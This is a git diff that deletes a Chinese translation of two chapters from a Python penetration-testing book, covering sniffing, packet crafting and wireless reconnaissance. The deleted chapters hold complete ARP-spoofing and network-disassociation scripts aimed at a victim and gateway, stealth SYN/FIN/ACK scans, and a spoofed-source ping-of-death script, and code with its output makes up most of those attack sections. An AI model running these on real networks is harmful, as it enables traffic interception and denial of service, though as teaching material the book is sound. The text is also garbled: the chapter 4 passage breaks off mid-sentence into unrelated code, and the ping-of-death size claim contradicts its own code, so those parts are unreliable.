-Date: Sat, 27 Sep 2014 06:37:02 GMT -X-Varnish: 3552654421 3552629562 -Age: 17 -Via: 1.1 varnish -Connection: keep-alive -X-Cache: cp1057 hit (138) -X-Analytics: php=zend - -``` - -有时,我们对 TTL 感兴趣,它是 IP 报头的一部分。这意味着我们必须更改解包功能: - -``` -ipheader = pkt[0][14:34] -ip_hdr = struct.unpack("!8sB3s4s4s",ipheader) -print "-----------IP------------------" -print "TTL :", ip_hdr[1] -print "Source IP", socket.inet_ntoa(ip_hdr[3]) -print "Destination IP", socket.inet_ntoa(ip_hdr[4]) -``` - -现在,让我们检查一下`sniffer1.py`的输出: - -``` ---------Ethernet Frame-------- -desination mac 000c294f8e35 -Source mac 005056e7c365 ------------IP------------------ -TTL : 128 -Source IP 208.80.154.224 -Destination IP 192.168.0.10 ----------TCP---------- -Source Port 80 -Destination port 39204 -Flag 10 - -``` - -TTL 值为 128。那么它是如何工作的呢?很简单,;我们已经以 8sB3s4s4s 格式解包了该值,我们的 TTL 字段位于第 9 个字节。8s 之后意味着,在第 8 个字节之后,我们以 B 的形式得到 TTL 字段。 - -# 学习包装工艺 - -这是一种黑客或 pentester 可以创建自定义数据包的技术。通过使用定制的数据包,黑客可以执行许多任务,例如探测防火墙规则集、端口扫描和操作系统的行为。有很多工具可用于数据包制作,如 Hping、Colasoft 数据包生成器等。包制作是一项技能。您可以像使用 Python 一样不使用任何工具来执行它。 - -首先,我们创建以太网数据包,然后将它们发送给受害者。让我们看一下整个 To0t0 代码,然后逐行理解: - -``` -import socket -s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800)) -s.bind(("eth0",socket.htons(0x0800))) -sor = '\x00\x0c\x29\x4f\x8e\x35' -des ='\x00\x0C\x29x2E\x84\x7A' -code ='\x08\x00' -eth = des+sor+code -s.send(eth) -``` - -`s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))`已经被您在包嗅探器中看到。现在,决定网络接口。我们选择 eth0 接口来发送数据包。`s.bind(("eth0",socket.htons(0x0800)))`语句将接口 eth0 与协议值绑定。接下来的两行定义了源 MAC 地址和目标 MAC 地址。`code ='\x08\x00'`语句显示了感兴趣的协议。这是 IP 协议的代码。`eth = des+sor+code`语句用于组装数据包。下一行`s.send(eth)`发送数据包。 - -# 介绍 ARP 欺骗并使用 Python 实现 - -**ARP**(**地址解析协议**用于将 IP 地址转换为其对应的以太网(MAC)地址。当数据包到达网络层(OSI)时,它有一个 IP 地址和一个需要目标设备 MAC 地址的数据链路层数据包。在这种情况下,发送方使用 ARP 协议。 - -术语地址解析是指在网络中查找计算机 MAC 地址的过程。以下是 ARP 可能发送的两种类型的 ARP 消息: - -* ARP 请求 -* ARP 应答 - -## ARP 请求 - -主机可能希望向同一子网中的另一台计算机发送消息。主机只知道 IP 地址,而在数据链路层发送消息需要 MAC 地址。在这种情况下,主机广播 ARP 请求。子网中的所有计算机都接收该消息。该值的以太网协议类型为 0x806。 - -## ARP 回复 - -预期用户用他们的 MAC 地址回复。此回复为单播,称为 ARP 回复。 - -## ARP 缓存 - -为了减少地址解析请求的数量,客户端通常会在短时间内缓存解析的地址。ARP 缓存的大小是有限的。当任何设备想要向子网中的另一个目标设备发送数据时,它必须首先确定该目标的 MAC 地址,即使发送方知道接收方的 IP 地址。这些 IP 到 MAC 地址映射源自每个设备上维护的 ARP 缓存。一个未使用的条目被删除,从而在缓存中释放一些空间。使用`arp –a`命令查看 ARP 缓存,如下图所示: - -![The ARP cache](graphics/8583OT_03_07.jpg) - -ARP 缓存 - -ARP 欺骗,也称为 ARP 缓存中毒,是一种攻击类型,攻击者会更改网关 ARP 缓存中受害机器的 MAC 地址以及受害机器 ARP 缓存中网关的 MAC 地址。该技术用于攻击局域网。攻击者可以通过 LAN 嗅探数据帧。在 ARP 欺骗中,攻击者向网关和受害者发送虚假回复。其目的是将攻击者的 MAC 地址与另一台主机(如默认网关)的 IP 地址相关联。ARP 欺骗用于主动嗅探。 - -现在,我们将使用一个示例来演示 ARP 欺骗。 - -网络中所有机器的 IP 地址和 MAC 地址如下: - - -| - -机器名 - - | - -IP 地址 - - | - -MAC 地址 - - | -| --- | --- | --- | -| Windows XP(受害者) | 192.168.0.11 | 00:0C:29:2E:84:7A | -| Linux(攻击者) | 192.168.0.10 | 00:0C:29:4F:8E:35 | -| Windows 7(网关) | 192.168.0.1 | 00:50:56:C0:00:08 | - -让我们看看 ARP 协议头,如下屏幕截图所示: - -![The ARP cache](graphics/8583OT_03_08.jpg) - -ARP 报头 - -让我们通过代码来实现 ARP 欺骗,并逐行讨论: - -``` -import socket -import struct -import binascii -s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800)) -s.bind(("eth0",socket.htons(0x0800))) - -sor = '\x00\x0c\x29\x4f\x8e\x35' -victmac ='\x00\x0C\x29\x2E\x84\x7A' - -gatemac = '\x00\x50\x56\xC0\x00\x08' -code ='\x08\x06' -eth1 = victmac+sor+code #for victim -eth2 = gatemac+sor+code # for gateway - -htype = '\x00\x01' -protype = '\x08\x00' -hsize = '\x06' -psize = '\x04' -opcode = '\x00\x02' - -gate_ip = '192.168.0.1' -victim_ip = '192.168.0.11' -gip = socket.inet_aton ( gate_ip ) -vip = socket.inet_aton ( victim_ip ) - -arp_victim = eth1+htype+protype+hsize+psize+opcode+sor+gip+victmac+vip -arp_gateway= eth2+htype+protype+hsize+psize+opcode+sor+vip+gatemac+gip - -while 1: - s.send(arp_victim) - s.send(arp_gateway) -``` - -在前面介绍的数据包制作部分中,您创建了以太网帧。在这段代码中,我们使用了 3 个 MAC 地址,它们也显示在上表中。在这里,我们使用了`code ='\x08\x06'`,这是 ARP 协议的代码。两个以太网数据包分别是 eth1 和 eth2。下一行`htype = '\x00\x01'`表示以太网。一切正常,如 ARP 报头所示,`protype = '\x08\x00'`,表示协议类型;`hsize = '\x06'`显示硬件地址大小;`psize = '\x04'`给出 IP 地址长度;并且`opcode = '\x00\x02'`显示它是一个应答包。`gate_ip = '192.168.0.1'`和`victim_ip = '192.168.0.11'`语句分别是网关和受害者的 IP 地址。`socket.inet_aton ( gate_ip )`方法将 IP 地址转换为十六进制格式。最后,我们根据 ARP 报头组装了整个代码。`s.send()`方法也将数据包放在电缆上。 - -现在,是时候查看输出了。运行`arpsp.py`文件。 - -让我们检查受害者的 ARP 缓存: - -![The ARP cache](graphics/8583OT_03_09.jpg) - -受害者的 ARP 缓存 - -前面的屏幕截图显示了 ARP 欺骗攻击前后的 ARP 缓存。从屏幕截图中可以清楚地看到,网关 IP 的 MAC 地址已更改。我们的代码运行良好。 - -让我们检查网关的 ARP 缓存: - -![The ARP cache](graphics/8583OT_03_10.jpg) - -网关的 ARP 缓存 - -前面的屏幕截图显示我们的代码已成功运行。受害者和攻击者的 IP 具有相同的 MAC 地址。现在,所有用于网关的数据包都将通过攻击者的系统,攻击者可以有效地读取在网关和受害者计算机之间来回传输的数据包。 - -在 pentesting 中,您只需攻击(ARP 欺骗)网关即可调查网关是否易受 ARP 欺骗的攻击。 - -# 使用定制包制作和注入测试安全系统 - -到目前为止,您已经看到了 ARP 欺骗的实现。现在,让我们了解一下关于一种称为网络解除关联攻击的攻击。其概念与 ARP 缓存中毒相同。 - -## 网络断开 - -在此攻击中,受害者将保持与网关的连接,但无法与外部网络通信。简言之,受害者将保持与路由器的连接,但无法浏览互联网。此攻击的原理与 ARP 缓存中毒相同。攻击将向受害者发送 ARP 回复数据包,该数据包将使用另一个 MAC 更改受害者 ARP 缓存中网关的 MAC 地址。同样的事情也发生在网关中。 - -该代码与 ARP 欺骗的代码相同,只是有一些变化,解释如下: - -``` -import socket -import struct -import binascii -s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800)) -s.bind(("eth0",socket.htons(0x0800))) - -sor = '\x48\x41\x43\x4b\x45\x52' - -victmac ='\x00\x0C\x29\x2E\x84\x7A' -gatemac = '\x00\x50\x56\xC0\x00\x08' -code ='\x08\x06' -eth1 = victmac+sor+code #for victim -eth2 = gatemac+sor+code # for gateway - -htype = '\x00\x01' -protype = '\x08\x00' -hsize = '\x06' -psize = '\x04' -opcode = '\x00\x02' - -gate_ip = '192.168.0.1' -victim_ip = '192.168.0.11' -gip = socket.inet_aton ( gate_ip ) -vip = socket.inet_aton ( victim_ip ) - -arp_victim = eth1+htype+protype+hsize+psize+opcode+sor+gip+victmac+vip -arp_gateway= eth2+htype+protype+hsize+psize+opcode+sor+vip+gatemac+gip - -while 1: - s.send(arp_victim) - s.send(arp_gateway) -``` - -运行`netdiss.py`。我们可以看到代码中只有一个变化,那就是`sor = '\x48\x41\x43\x4b\x45\x52'`。这是一个随机 MAC,因为此 MAC 不存在。交换机将丢弃数据包,受害者无法浏览互联网。 - -### 注 - -为了实施 ARP 缓存中毒攻击,受害者应该在 ARP 缓存中拥有网关的真实条目。 - -你可能想知道我们为什么使用 MAC`'\x48\x41\x43\x4b\x45\x52 ?`。只要把它转换成 ASCII 码,你就会得到答案。 - -## 半开放式扫描 - -顾名思义,半开放扫描或隐形扫描是一种特殊类型的扫描。隐形扫描技术被用来绕过防火墙规则,防止被日志系统检测到。然而,这是一种特殊类型的扫描,通过使用数据包制作完成,这在本章前面已经解释过。如果你想制作一个 IP 或 TCP 数据包,那么你必须提到每个部分。我知道这很痛苦,你会想到**和平**。然而,Python 的库将使它变得简单。 - -现在,让我们来看看使用 Saby。Scapy 是一个第三方库,允许您定制数据包。所以我们将编写一个简单而简短的代码,以便您能够理解 scapy。 - -在编写代码之前,让我们先了解半开放扫描的概念。以下步骤定义隐藏扫描: - -1. 客户端在指定端口向服务器发送 SYN 数据包。 -2. 如果端口是打开的,那么服务器将使用 SYN/ACK 数据包进行响应。 -3. 如果服务器响应 RST 数据包,则表示端口已关闭。 -4. 客户端发送 RST 以关闭启动。 - -现在,让我们看一下代码,它也将解释如下: - -``` -from scapy.all import * -ip1 = IP(src="192.168.0.10", dst ="192.168.0.3" ) -tcp1 = TCP(sport =1024, dport=80, flags="S", seq=12345) -packet = ip1/tcp1 -p =sr1(packet, inter=1) -p.show() - -rs1 = TCP(sport =1024, dport=80, flags="R", seq=12347) -packet1=ip1/rs1 -p1 = sr1(packet1) -p1.show -``` - -第一行导入 scapy 的所有模块。下一行`ip1 = IP(src="192.168.0.10", dst ="192.168.0.3" )`定义 IP 包。IP 包的名称为`ip1`,包含源地址和目的地址。`tcp1 = TCP(sport =1024, dport=80, flags="S", seq=12345)`语句定义了一个名为`tcp1`的 TCP 包,该包包含源端口和目标端口。我们对端口`80`感兴趣,因为我们已经定义了隐形扫描的先前步骤。对于第一步,客户端向服务器发送 SYN 数据包。在我们的`tcp1`数据包中,SYN 标志被设置为如数据包中所示,并且 seq 是随机给出的。下一行`packet= ip1/tcp1`首先安排 IP,然后安排 TCP。`p =sr1(packet, inter=1)`语句接收数据包。`sr1()`函数使用发送和接收的数据包,但它只接收一个应答数据包`inter= 1`,这表示间隔为 1 秒,因为我们希望两个数据包之间存在 1 秒的间隔。下一行`p.show()`给出了所接收数据包的分层视图。`rs1 = TCP(sport =1024, dport=80, flags="R", seq=12347)`语句将发送设置了 RST 标志的数据包。这一行后面的几行很容易理解。这里不需要`p1.show`,因为我们不接受服务器的任何响应。 - -结果如下: - -``` -root@Mohit|Raj:/scapy# python halfopen.py -WARNING: No route found for IPv6 destination :: (no default route?) -Begin emission: -.*Finished to send 1 packets. - -Received 2 packets, got 1 answers, remaining 0 packets -###[ IP ]### - version = 4L - ihl = 5L - tos = 0x0 - len = 44 - id = 0 - flags = DF - frag = 0L - ttl = 64 - proto = tcp - chksum = 0xb96e - src = 192.168.0.3 - dst = 192.168.0.10 - \options \ -###[ TCP ]### - sport = http - dport = 1024 - seq = 2065061929 - ack = 12346 - dataofs = 6L - reserved = 0L - flags = SA - window = 5840 - chksum = 0xf81e - urgptr = 0 - options = [('MSS', 1460)] -###[ Padding ]### - load = '\x00\x00' -Begin emission: -Finished to send 1 packets. -..^Z -[10]+ Stopped python halfopen.py - -``` - -所以我们已经收到了回信。来源和目的地似乎很好。查看 TCP 字段并注意标志的值。我们有 SA,它表示 SYN 和 ACK 标志。如前所述,如果服务器使用 SYN 和 ACK 标志进行响应,则表示端口已打开。Wireshark 还捕获响应,如以下屏幕截图所示: - -![A half-open scan](graphics/8583OT_03_11.jpg) - -Wireshark 输出 - -现在,让我们再来一次,但这次,目的地将不同。从输出中,您将知道目的地地址是什么: - -``` -root@Mohit|Raj:/scapy# python halfopen.py -WARNING: No route found for IPv6 destination :: (no default route?) -Begin emission: -.*Finished to send 1 packets. - -Received 2 packets, got 1 answers, remaining 0 packets -###[ IP ]### - version = 4L - ihl = 5L - tos = 0x0 - len = 40 - id = 37929 - flags = - frag = 0L - ttl = 128 - proto = tcp - chksum = 0x2541 - src = 192.168.0.11 - dst = 192.168.0.10 - \options \ -###[ TCP ]### - sport = http - dport = 1024 - seq = 0 - ack = 12346 - dataofs = 5L - reserved = 0L - flags = RA - window = 0 - chksum = 0xf9e0 - urgptr = 0 - options = {} -###[ Padding ]### - load = '\x00\x00\x00\x00\x00\x00' -Begin emission: -Finished to send 1 packets. -^Z -[12]+ Stopped python halfopen.py -root@Mohit|Raj:/scapy# - -``` - -这一次,它返回表示 RST 和 ACK 的 RA 标志。这意味着端口已关闭。 - -## FIN 扫描 - -有时配置防火墙和**入侵检测系统**(**IDS**)来检测 SYN 扫描。在 FIN 扫描攻击中,TCP 数据包仅在设置 FIN 标志的情况下发送到远程主机。如果主机没有响应,则表示端口已打开。如果收到响应,它将包含 RST/ACK 标志,这意味着端口已关闭。 - -以下是 FIN 扫描的代码: - -``` -from scapy.all import * -ip1 = IP(src="192.168.0.10", dst ="192.168.0.11") -sy1 = TCP(sport =1024, dport=80, flags="F", seq=12345) -packet = ip1/sy1 -p =sr1(packet) -p.show() -``` - -该数据包与前一个数据包相同,只设置了 FIN 标志。现在,检查来自不同机器的响应: - -``` -root@Mohit|Raj:/scapy# python fin.py -WARNING: No route found for IPv6 destination :: (no default route?) -Begin emission: -.Finished to send 1 packets. -* -Received 2 packets, got 1 answers, remaining 0 packets -###[ IP ]### - version = 4L - ihl = 5L - tos = 0x0 - len = 40 - id = 38005 - flags = - frag = 0L - ttl = 128 - proto = tcp - chksum = 0x24f5 - src = 192.168.0.11 - dst = 192.168.0.10 - \options \ -###[ TCP ]### - sport = http - dport = 1024 - seq = 0 - ack = 12346 - dataofs = 5L - reserved = 0L - flags = RA - window = 0 - chksum = 0xf9e0 - urgptr = 0 - options = {} -###[ Padding ]### - load = '\x00\x00\x00\x00\x00\x00' -``` - -传入数据包包含 RST/ACK 标志,这意味着端口已关闭。现在,我们将目的地更改为`192.168.0.3`并检查响应: - -``` -root@Mohit|Raj:/scapy# python fin.py -WARNING: No route found for IPv6 destination :: (no default route?) -Begin emission: -.Finished to send 1 packets. -....^Z -[13]+ Stopped python fin.py -``` - -未收到来自目标的响应,这意味着端口已打开。 - -## 确认标志扫描 - -ACK 扫描方法用于确定主机是否受到某种过滤系统的保护。 - -在这种扫描方法中,攻击者发送一个带有随机序列号的 ACK 探测数据包,其中没有响应意味着端口被过滤(在这种情况下,存在一个状态检查防火墙);如果 RST 响应返回,则表示端口已关闭。 - -现在,让我们看一下下面的代码: - -``` -from scapy.all import * -ip1 = IP(src="192.168.0.10", dst ="192.168.0.11") -sy1 = TCP(sport =1024, dport=137, flags="A", seq=12345) -packet = ip1/sy1 -p =sr1(packet) -p.show() -``` - -在前面的代码中,标志被设置为 ACK,目的端口为`137`。 - -现在,检查输出: - -``` -root@Mohit|Raj:/scapy# python ack.py -WARNING: No route found for IPv6 destination :: (no default route?) -Begin emission: -..Finished to send 1 packets. -^Z -[30]+ Stopped python ack.py - -``` - -数据包已发送,但未收到响应。您不必担心,因为我们有 Python 嗅探器来检测响应。因此,运行嗅探器。无需在混杂模式下运行它并再次发送 ACK 数据包: - -``` -Out-put of sniffer - --------Ethernet Frame-------- -desination mac 000c294f8e35 -Source mac 000c292e847a ------------IP------------------ -TTL : 128 -Source IP 192.168.0.11 -Destination IP 192.168.0.10 ----------TCP---------- -Source Port 137 -Destination port 1024 -Flag 04 - -``` - -返回数据包显示标志 04,表示 RST。这意味着端口未被过滤。 - -让我们设置防火墙并再次检查 ACK 数据包的响应。现在防火墙设置好了,让我们再次发送数据包。输出结果如下: - -``` -root@Mohit|Raj:/scapy# python ack.py -WARNING: No route found for IPv6 destination :: (no default route?) -Begin emission: -.Finished to send 1 packets. - -``` - -嗅探器的输出没有显示任何内容,这意味着防火墙存在。 - -## 死亡之平 - -Ping of death 是一种拒绝服务类型,攻击者故意发送大于 65536 字节的 Ping 请求。TCP/IP 的一个特点是碎片化;它允许将单个 IP 数据包分解为更小的段。 - -让我们来看看代码,并通过代码的解释也。程序名称为`pingofd.py`: - -``` -from scapy.all import * -ip1 = IP(src="192.168.0.99", dst ="192.168.0.11") -packet = ip1/ICMP()/("m"*60000) -send(packet) -``` - -这里,我们使用`192.168.0.99`作为源地址。这是一次攻击,我不想透露我的 IP 地址;这就是我欺骗我的 IP 的原因。数据包包含 IP 和 ICMP 数据包以及 60000 字节的数据,您可以增加数据包的大小。这一次,我们使用了`send()`函数,因为我们不希望得到响应。 - -检查受害者机器上的输出: - -![Ping of death](graphics/8583OT_03_12_new.jpg) - -死亡 ping 的输出 - -您可以在输出中看到,包编号*1498*到*1537*是 IPv4。之后,ICMP 数据包进入图片。您可以使用 while 循环发送多个数据包。在 pentesting 中,您必须检查机器,并检查防火墙是否能够阻止此攻击。 - -# 总结 - -在本章的开头,我们了解了嗅探器的概念,即在网络上使用嗅探器,有时可能会泄露密码、聊天等重大秘密。在今天的世界中,大多数使用开关,因此您应该知道如何执行主动嗅探。我们还学习了如何组成第 4 层嗅探器。接下来,我们还学习了如何执行 ARP 欺骗。您应该通过 ARP 欺骗来测试网络,并将您的发现写在报告中。然后,我们研究了使用自定义数据包测试网络的主题。网络解除关联攻击类似于 ARP 缓存中毒攻击,对此也进行了解释。半开放扫描、FIN 扫描和 ACK 标志扫描也是我们讨论过的特殊扫描类型。最后,解释了与 DDOS 攻击相关的死亡 ping。 - -在下一章中,您将了解无线网络嗅探和无线攻击。无线通信不同于有线网络。要捕获无线通信,您不需要物理访问,这使得无线通信更容易受到攻击。在下一章中,我们将简要了解如何捕获无线通信量以及如何攻击接入点。 \ No newline at end of file diff --git a/trans/py-pentest-dev/14.md b/trans/py-pentest-dev/14.md deleted file mode 100644 index fab3561..0000000 --- a/trans/py-pentest-dev/14.md +++ /dev/null @@ -1,377 +0,0 @@ -# 第四章无线测试 - -无线连接时代带来了灵活性和移动性,但也带来了许多安全问题。通过有线连接,攻击者需要物理访问才能进行连接和攻击。在无线连接的情况下,攻击者只需要信号的可用性就可以发起攻击。在继续之前,您应该了解所使用的术语: - -* **接入点****AP**:用于将无线设备与有线网络连接。 -* **业务集标识符**(**SSID**):无线局域网的 0-32 字母数字唯一标识符;它是人类可读的,简单地说,它是网络名称。 -* **基本业务集标识****BSSID**:无线 AP 的 MAC 地址。 -* **信道号**:此表示 AP 用于传输的射频范围。 - -### 注 - -由于 AP 的自动设置,频道号可能会更改。因此,在本章中,不要感到困惑。如果在不同的时间运行相同的程序,则频道号可能会更改。 - -在本章中,我们将学习许多概念,例如: - -* 查找无线 SSID -* 分析无线通信量 -* 检测 AP 的客户端 -* 无线 deauth 攻击 -* MAC 泛洪攻击 - -802.11 和 802.11x 被 IEEE 定义为一系列无线局域网技术。以下是基于频率和带宽的 802.11 规范: - -* **802.11**:提供高达 1-2Mbps 的带宽,频带为 2.4GHz -* **802.11.a**:提供高达 54 Mbps 的带宽,频率为 5 GHz -* **802.11.b**:提供高达 11Mbps 的带宽和 2.4GHz 的频带 -* **802.11g**:提供高达 54 Mbps 的带宽,频带为 2.4 GHz -* **802.11n**:该在两个频段提供高达 300 Mbps 的带宽 - -802.11 的所有组件都属于**媒体访问控制****MAC**或物理层。MAC 层是数据链路层的子类。您已经了解了数据链路层的协议数据单元(**PDU**),称为帧。 - -但是,首先,让我们了解 802.11 帧格式。802.11 中存在的三种主要帧类型是: - -* 数据帧 -* 控制框架 -* 管理框架 - -这些帧由 MAC 层辅助。下图描述了 MAC 层的格式: - -![Wireless Pentesting](graphics/8583OT_04_01.jpg) - -在上图中,显示了三种类型的地址。**地址 1**、**地址 2**和**地址 3**分别是目的地、AP 和源的 MAC 地址。表示**地址 2**为 AP 的 BSSID。在本章中,我们的重点将放在管理框架上,因为我们对管理框架的子类型感兴趣。一些常见类型的管理帧包括身份验证帧、取消身份验证帧、关联请求帧、解除关联帧、探测请求帧和探测响应帧。客户端和 AP 之间的连接是通过交换各种帧建立的,如下图所示: - -![Wireless Pentesting](graphics/8583OT_04_02.jpg) - -帧交换 - -上图显示了帧的交换。这些框架是: - -* **信标帧**:AP 周期性发送一个信标帧来通告其存在。信标帧包含 SSID、通道号、BSSID 等信息。 -* **探测请求**:无线设备(客户端)发出探测请求,确定哪些 AP 在范围内。探测请求包含 AP 的 SSID、支持的费率、供应商特定信息等元素。客户端发送探测请求并等待探测响应一段时间。 -* **探测响应**:在探测请求的响应中,对应的 AP 会响应一个探测响应帧,其中包含能力信息、支持的数据速率等。 -* **认证请求**:客户端发送包含其身份的认证请求帧。 -* **认证响应**:AP 响应认证,表示接受或拒绝。如果存在共享密钥身份验证,例如 WEP,则 AP 以身份验证响应的形式发送质询文本。客户端必须将身份验证帧中被质询文本的加密形式发送回 AP。 -* **关联请求**:认证成功后,客户端发送包含其特征的关联请求,如支持的数据速率、AP 的 SSID 等。 -* **关联响应**:AP 发送包含接受或拒绝的关联响应。在接受的情况下,AP 将为客户端创建关联 ID。 - -我们即将进行的攻击将基于这些框架。 - -现在是时候进行一次实际的讨论了。在下一节中,我们将介绍该理论的其余部分。 - -# 利用 Python 进行无线 SSID 查找和无线流量分析 - -如果您已经通过 Back Track 或 Kali Linux 进行了无线测试,那么您将熟悉`airmon-ng`套装。`airmon-ng`脚本用于启用无线接口上的监控模式。监控模式允许无线设备捕获帧,而无需与 AP 关联。我们将在 Kali Linux 上运行所有的程序。下面的屏幕截图显示了如何设置**mon0**: - -![Wireless SSID finding and wireless traffic analysis by Python](graphics/8583OT_04_03_new.jpg) - -设置 mon0 - -当您运行`airmon-ng`脚本时,它会给无线网卡一个名称,如**wlan0**,如前一个屏幕截图所示。`airmon-ng start wlan0`命令将在监视器模式下启动**wlan0**,并且**mon0**捕获无线数据包。 - -现在,让我们编写第一个程序,给出三个值:SSID、BSSID 和通道号。不要担心因为我们将逐行讨论: - -``` -import socket -sniff = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, 3) -sniff.bind(("mon0", 0x0003)) -ap_list =[] -while True : - fm1 = sniff.recvfrom(6000) - fm= fm1[0] - if fm[26] == "\x80" : - if fm[36:42] not in ap_list: - ap_list.append(fm[36:42]) - a = ord(fm[63]) - print "SSID -> ",fm[64:64 +a],"-- BSSID -> ", \ -fm[36:42].encode('hex'),"-- Channel -> ", ord(fm[64 +a+12]) -``` - -第一行和往常一样`import socket`。下一行是`sniff = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, 3)`。我希望您已经仔细阅读了[第三章](13.html "Chapter 3. Sniffing and Penetration Testing")*嗅探和渗透测试*。唯一的新事物是`3`。参数`3`表示协议编号,表示`ETH_P_ALL`。这意味着我们对每一包都感兴趣。下一行`sniff.bind(("mon0", 0x0003))`绑定**mon0**模式和协议编号 3。在下一行中,我们声明了一个空的`ap_list =[]`列表**,**,它将存储 AP 的 MAC 地址(SSID)。我们使用一个列表来避免 AP 的任何冗余。对于持续的嗅探,我们使用了无限`while`循环。下一个`fm1 = sniff.recvfrom(6000)`语句向`fm1`提供数据,下一个`fm= fm1[0]`语句只取帧的第一部分,其中包含长的十六进制数字序列;也就是说,十六进制转储包含帧的所有元素,如下面的屏幕截图所示。下一条`if fm[26] == "\x80":`语句告诉`if`帧子类型为 8 位,表示信标帧,如下图所示: - -![Wireless SSID finding and wireless traffic analysis by Python](graphics/8583OT_04_04.jpg) - -信标帧的 Wireshark 表示 - -你可能想知道为什么。这意味着第 27 个字节包含一个子类型,因为`fm[0:25]`意味着前 26 个字节由 Radiotap 头采用。在前面的屏幕截图中,您可以看到**Radiotap 标头,长度为 26**,这意味着 Radiotap 标头已经获取了前 26 个字节。下一条`if fm[36:42] not in ap_list:`语句是一个过滤器,它检查`fm[36:42]`值,即 BSSID,是否存在于`ap_list`中。如果不是,下一个`ap_list.append(fm[36:42])`语句将在`ap_list`中添加 BSSID。下一个`a = ord(fm[63])`语句给出了 SSID 的长度。在下一行中,`fm[64:64 +a]`表示 AP 的 SSID 位于 64 到 64 加上 SSID 的长度;`fm[36:42].encode('hex')`语句将十六进制值转换为可读的十六进制值;`ord(fm[64 +a+12])`语句提供了通道号,它位于 SSID 前面 12 个数字。 - -第一个 _ssid_sniffer.py 程序的输出如以下屏幕截图所示: - -![Wireless SSID finding and wireless traffic analysis by Python](graphics/8583OT_04_05.jpg) - -美联社详情 - -现在,让我们编写代码,使用 scapy 查找 AP 的 SSID 和 MAC 地址。您一定认为我们在原始数据包分析中执行了相同的任务;实际上,出于研究目的,您应该了解关于原始数据包分析的内容。如果您想要一些 scapy 不知道的信息,原始数据包分析可以让您自由创建所需的嗅探器: - -``` -from scapy.all import * -interface = 'mon0' -ap_list = [] -def info(fm): - if fm.haslayer(Dot11): - - if ((fm.type == 0) & (fm.subtype==8)): - if fm.addr2 not in ap_list: - ap_list.append(fm.addr2) - print "SSID--> ",fm.info,"-- BSSID --> ",fm.addr2 - -sniff(iface=interface,prn=info) -``` - -让我们从头开始看代码。`scapy.all import *`语句导入 scapy 库的所有模块。变量接口设置为**mon0**。声明了一个名为`ap_list`的空列表。在下一行中,定义了`info`函数,并传递了`fm`参数。 - -`if fm.haslayer(Dot11):`语句就像一个过滤器,只通过`Dot11`流量;`Dot11`表示 802.11 流量。下一个`if((fm.type == 0) & (fm.subtype==8)):` 语句是另一个过滤器,它传递帧类型为`0`且帧子类型为`8`的流量;类型`0`表示管理帧,子类型`8`表示信标帧。在下一行中,使用`if fm.addr2 not in ap_list:`语句删除冗余;如果 AP 的 MAC 地址不在`ap_list`中,则会追加列表,将地址添加到列表中,如下一行所述。下一行打印输出。最后一行`sniff(iface=interface,prn=info)`使用接口**mon0**嗅探数据,并调用`info()` 函数。 - -以下屏幕截图显示了`ssid.py`程序的输出: - -![Wireless SSID finding and wireless traffic analysis by Python](graphics/8583OT_04_06.jpg) - -我希望你已经理解了`ssid.py`程序。现在,让我们试着算出 AP 的频道号。我们必须对守则作一些修改。新的修改代码如下: - -``` -from scapy.all import * -import struct -interface = 'mon0' -ap_list = [] -def info(fm): - if fm.haslayer(Dot11): - if ((fm.type == 0) & (fm.subtype==8)): - if fm.addr2 not in ap_list: - ap_list.append(fm.addr2) - print "SSID--> ",fm.info,"-- BSSID --> ",fm.addr2, \"-- Channel--> ", ord(fm[Dot11Elt:3].info) -sniff(iface=interface,prn=info) -``` - -您会注意到,我们在这里添加了一个东西,即`ord(fm[Dot11Elt:3].info)`。 - -你可能想知道是什么?如果您在 scapy 中打开`Dot11Elt`,您将得到三样东西,`ID`、`len`和`info`,如下输出所示: - -``` -root@Mohit|Raj:~# scapy -INFO: Can't import python gnuplot wrapper . Won't be able to plot. -WARNING: No route found for IPv6 destination :: (no default route?) -lWelcome to Scapy (2.2.0) ->>> ls(Dot11Elt) -ID : ByteEnumField = (0) -len : FieldLenField = (None) -info : StrLenField = ('') ->>> - -``` - -参见以下类代码: - -``` -class Dot11Elt(Packet): - name = "802.11 Information Element" - fields_desc = [ ByteEnumField("ID", 0, {0:"SSID", 1:"Rates", 2: "FHset", 3:"DSset", 4:"CFset", 5:"TIM", 6:"IBSSset", 16:"challenge", - 42:"ERPinfo", 46:"QoS Capability", 47:"ERPinfo", 48:"RSNinfo", 50:"ESRates",221:"vendor",68:"reserved"}), - FieldLenField("len", None, "info", "B"), - StrLenField("info", "", length_from=lambda x:x.len) ] -``` - -在前面的类码中,`DSset`给出了通道号的信息,所以`DSset` 号为`3`。 - -让我们不要让它变得复杂,让我们简单地使用 scapy 捕获一个数据包: - -``` ->>> conf.iface="mon0" ->>> frames = sniff(count=7) ->>> frames - ->>> frames.summary() -RadioTap / 802.11 Management 8L 84:1b:5e:50:c8:6e > ff:ff:ff:ff:ff:ff / Dot11Beacon / SSID='CITY PG3' / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt -RadioTap / 802.11 Data 8L 84:1b:5e:50:c8:6e > 88:53:2e:0a:75:3f / Dot11QoS / Dot11WEP -84:1b:5e:50:c8:6e > 88:53:2e:0a:75:3f (0x5f4) / Raw -RadioTap / 802.11 Control 13L None > 84:1b:5e:50:c8:6e / Raw -RadioTap / 802.11 Control 11L 64:09:80:cb:3b:f9 > 84:1b:5e:50:c8:6e / Raw -RadioTap / 802.11 Control 12L None > 64:09:80:cb:3b:f9 / Raw -RadioTap / 802.11 Control 9L None > 64:09:80:cb:3b:f9 / Raw - -``` - -在下面的屏幕截图中,您可以看到第 0 帧中有大量的 Dot11Elt。让我们详细检查第 0 帧。 - -![Wireless SSID finding and wireless traffic analysis by Python](graphics/8583OT_04_07.jpg) - -他在镜框里 - -现在,您可以看到有几个**0): - print "Coding is not good" - if len(list1)>0: - a= list1[1] - b= list1[2] - - print content[a:b] - else: - print "error handling seems ok" - flag =1 - elif http_r.code 